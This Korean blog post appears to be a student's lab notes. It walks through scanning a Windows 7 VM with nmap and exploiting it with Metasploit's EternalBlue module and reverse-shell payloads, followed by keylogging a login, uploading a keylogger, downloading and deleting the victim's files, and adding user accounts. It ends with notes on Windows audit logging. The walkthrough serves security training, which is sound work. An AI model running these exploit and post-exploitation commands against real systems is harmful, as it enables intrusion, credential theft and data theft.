-
attack using Metasploitable2 - 메타스플로잇을 이용한 공격Security 2022. 5. 4. 19:03
NOTE
약점(Weakness) : 보편적인 측면, 자산에는 약점이 있음 ex) CWE-nnnnn
취약점(Vulnerability) : 약점 중에서 특히 치명적인 손해/피해를 입을 수 있는 것
Exploit : 취약점을 공격하는 것
Zero-Day Exploit
: 취약점이 발표된 당일부터 공격이 시작된다는 의미, 아직 패치가 배포되기 전까지
One-Day Exploit
: 패치는 배포되었지만 아직 패치를 설치하기 전 상태 (기존 Application이 동작하지 않을 수도 있기 때문 : 호환성)
ex) CVE-YYYY-NNNNnnn
cf. 가장 비싼 취약점 : 아이폰 > 기업용 > Windows > Android > ....
Nmap Script의 위치
$cd /usr/share/nmap/scripts
$ sudo find . -name "*distcc*"
=구글에 distcc CVE 검색
=$ sudo find . -name "*2004-2687*"
./distcc-cve2004-2687.nse
서비스 이름 뒤에 붙는 D(Demon)의 정체
: 메모리에 상주하면서 클라이언트의 요청을 처리하는 프로세스
ex) httpd, telnetd, ftpd, sshd , ...
작업관리자의 프로세스들도 비슷합니다.
Metasploit에서 공격 모듈 검색하는 두 가지 방법
- search vsftp 2.3.4
- vsftpd v2.3.4 구글에 취약점 검색 cve
search CVE-2011-2523 // 취약점 번호를 사용하면 매우 정확하게 알 수 있습니다.
Metasploit을 처음 실행할 때
: 왼쪽 상단 피닉스 아이콘 > 08 Exploitation Tools > Metasploit Framework 클릭
- DB 생성, 사용자 생성 등 초기화 작업이 필요하기 때문.
Metasploit 두 번째 실행부터는 한 줄로 실행이 가능합니다.
$ sudo msfconsole
* 취약점 제보 사이트 *
- 취약점을 발견한 보안 전문가들이 이 사이트에 제보
- 'Offensive Security'에서 관리 -> Kali Linux도 배포하는 회사
- 정확한 취약점 코드를 아는 것이 중요. ex) CVE-202
* Microsoft printNightmare, CVE-2021-34527 *
: 윈도우 프린트 스풀러(Window Print Spooler) 서비스에 위치하며, 인쇄 대기열에 영향을 미치는 중요한 익스플로잇이며 Windows 7에서 발견 이 취약점을 통해 공격자는 장치에서 원격 코드를 실행하고 장치를 제어할 수 있습니다.
- 취약점은 CVE-2021-1675 아니고 Zero-Day -> 취약점 공식 번호도 받고, 패치도 배포했지만, 아직 Exploit 가능한 상태이기에 Zero-Day라고 합니다.
취약점 검증 단계
1. 기본 스캔 : Version scan, All scan
2. Script를 활용한 상세 스캔
sudo find . -name "*서비스*"
(* : Asterisk, ~ : Tilde, . : Dot : 현재 위치)
sudo nmap --script=[스크립트 이름] [타겟호스트] -p [타겟포트]
3. Google Search : 공식 취약점 번호, 특징, 취약점 정보 등 파악 후 검색
4. Metasploit을 활용한 검증
미리 준비해둔 'Windows 7 x64.vmx' 파일을 아래의 순서에 따라 열어줍니다.
Windows 7의 IP 확인을 해줍니다.
Kali Linux에서 IP Scan 방법
$ sudo nmap -sn 192.168.5.100-150
- 운영체제(OS)를 알려면
$ sudo nmap -O 192.168.5.130
Running : Microsoft Windows 2008 | 8.1 | 7 | Phone | Vista를 확인하면 운영체제를 확인할 수 있습니다.
1단계 기본 스캔
Kali Linux에서 All Scan
$ sudo nmap -A 192.168.5.130
- SMB 취약점에 대해 많은 정보를 알려주고 있음을 알 수 있습니다.
2단계 Script를 활용한 상세 스캔
$ cd /usr/share/nmap/scripts
$ sudo find . -name "*smb*"
Windows 7 출시일인 2009년 10월 22일 이후에 나온 취약점을 조회합니다.
그중에 임의로 smb-vuln-ms17-010.nse 선택해서 Scanning 하겠습니다.
$ sudo nmap --script=smb-vuln-ms17-010.nse 192.168.5.130
3단계 Google Search
Windows 7에서 cmd > systeminfo 입력해보면 핫픽스가 있다.
* 핫픽스 (Hotfix)
: 제품 사용 중에 발생하는 버그의 수정이나 취약점 보완, 또는 성능 향상을 위해 긴급히 배포되는 패치 프로그램을 말합니다.
* KB (Knowledge Base의 약어)
보시면 위의 KB2534111, KB976902가 설치되어 있고, KB4013389 패치는 되어있지 않으므로 공격이 가능합니다.
4단계 Metasploit로 Exploit
$ sudo msfconsole
search cve-2017-0143 #Auxiliary는 보조 도구
use exploit/windows/smb/ms17_010_eternalblue
show payloads
payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.5.128
set viewonly false
exploit
payload 이름에 reverse가 있으면 lhost를 지정 (Target이 Attacker에게 접속하도록 유도)
viewonly false : 보기만 하지 않고 원격 조종할 예정
VNC
이렇게 Kali Linux에 Windows 7의 화면이 원격으로 조종되기 시작합니다.
잘 안 되는 경우에는 Windows 7을 리부팅하면 됩니다.
vnc창을 닫고 엔터를 치면 msf6> console로 돌아옵니다.
msf6> show payloads
msf6> set payload windows/x64/meterpreter/reverse_tcp
msf6> exploit
* FAIL이 표시되면 Windows 7을 재부팅하시면 됩니다. *
?
screenshot
Keylogging
: 사용자가 키보드를 통해 입력한 내용을 몰래 가로채는 기술
- Keylogger 작동시켜서 비밀번호 알아내기
ps
1832 explorer.exe로 실습을 할 예정이기 때문에 맨 앞의 숫자 네 자리를 기억합니다.
맨 앞의 1832는 PID 번호라고 불리며 프로세스를 일시적으로 식별할 수 있습니다.
migrate 1832
keyscan_start
입력 후 Windows 7의 Naver 로그인 창에 아이디 비밀번호를 임의로 입력해봅니다.
keyscan_dump
Kali Linux를 보시면 아래의 문구와 함께 키보드로 입력했던 ID (hi)와 Password (hello)가 그대로 입력되어 있습니다.
keyscan_stop
악성코드를 Windows 7 바탕화면으로 보내기
upload /usr/share/windows-binaries/klogger.exe C:/users/john/desktop
Windows 7에서 파일 가져오기
download C:/users/john/pictures/3* /home/kali
download C:/users/john/pictures/blackpink* /home/kali
첫 번째 코드는 3*, 즉 3으로 시작하는 파일명을 보시면 앞이 3으로 시작한다는 공통점을 갖고 있습니다.
Meterpreter의 특징
- Screenshot
- Keylogging
- File send / receive
- Remote code excution (RCE, 원격에서 명령 실행 가능)
외에도 다양한 기능 지원
내 문서에 있는 bitcoin 파일 가져오기
Kali Linux에서 Windows 7의 파일을 찾으려면
cd C:/users/john
ls
cd documents
download b* /home/kali
download C:/users/john/documents/bitcoin* /home/kali
shell
whoami
: 현재 내가 로그인한 사용자를 보여줍니다.
whoami 입력 시 Windows 7의 사용자 john으로 변경된 것 확인
shell
cd c:\users\john\pictures
dir
del 3*
dir
whoami
사용자 추가해보기
net user jenny lisa /add
net user #모든 사용자 확인
net localgroup #모든 그룹 확인
* 한글이 깨져 보이는 이유는 Microsoft Windows는 자사에서 개발한 EUC-KR의 확장형인 CP949 한글 인코딩을 사용하는데 Linux의 Wdb Database에서는 UTF-8을 사용하고 있어서 이런 현상이 나타납니다.
net localgroup administrators
그래서 다시 한번 Payload를 설정 후에 Exploit 해보았습니다.
* Windows의 계정과 권한 체계 *
- System - 시스템에서 최고 권한을 가진 계정, 원격 접속 불가, 사용자는 이 계정으로 로그인 불가
- Administrator - 관리자 권한의 계정, 사용자가 사용 가능한 계정 중 가장 강력한 권한
- Account Operator, Backup Operator, Print Operator 등
- Guest - 매우 제한적인 권한을 가진 계정, 기본 설정은 사용 불가
net user kmk shs /add
net user
다시 Windows 7로 와서 위의 경로를 따라가면 Kali에서 추가한 kmk 계정이 생성되었음을 다시 한번 확인할 수 있습니다.
혹시 몰라 두 번 시도해봤는데 위의 방법은 안되고, 아래의 방법은 됩니다.
모든 설정이 같은 상태로 두 번 시도해보고 나니 지금은 페이로드를 설정하는 시기의 문제로 생각하고 있습니다.
혹시 나중에 이 글을 관심 있게 보시거나 문제점을 아시는 분의 피드백이 있으시다면 감사히 받겠습니다.
Windows Log
Windows 이벤트 뷰어에서 로그를 확인하실 수 있습니다.
위의 경로로 그대로 들어오면 '정책'들과 '보안 설정'이 보입니다.
'보안 설정'에는 '감사 안 함'과 '성공, 실패' 두 가지 항목이 보입니다.
- 감사 안 함 : 로그를 남기지 않도록 설정이 되어 있는 것입니다.
위와 같이 따라 하면 성공과 실패에 체크박스가 생기는데
'성공'에만 체크를 하면 성공적인 로그온만 로그를 남기게 되며, 실패 시 로그를 남기지 않습니다.
- Dictionary, Brute Force 등의 공격을 알 수 없게 됩니다.
*Dictionart Attack : 자주 쓰이는 문자열을 대입해서 암호를 찾아내는 방식
*Brute Force : 조합 가능한 문자열을 하나씩 대입해보는 방식
'실패'에만 체크를 하면 공격자가 로그온에 성공한 시점을 알 수 없습니다.
모든 감사 정책에 성공, 실패를 모두 체크하게 되면 로그가 매우 많이 생성되며 성능 저하를 야기합니다.
이로써 로그를 확인하기 위해서는 기본적으로는 감사에 체크가 되어있지 않아 로그가 생기지 않으니
감사 정책에 필요한 항목에 체크를 해서 로그를 확인하시면 되겠습니다.
'Security' 카테고리의 다른 글
Backdoor, Trojan Horse, WebDAV, Cadaver, Bee-Box - 백도어, 트로이 목마 WebDAV, Cadaver 사용 Bee-Box 문제 풀이 (0) 2022.05.12 SQL Injection, HTML, Windows Server 2003 Hacking - SQL 인젝션, HTML, 윈도우 서버 2003 해킹 (0) 2022.05.09 Web (0) 2022.05.07 Wireshark packet analysis - 와이어샤크 패킷 분석 (0) 2022.05.04 VMware Error - 비정상적인 PC 종료로 인한 부팅 불가 (0) 2022.05.03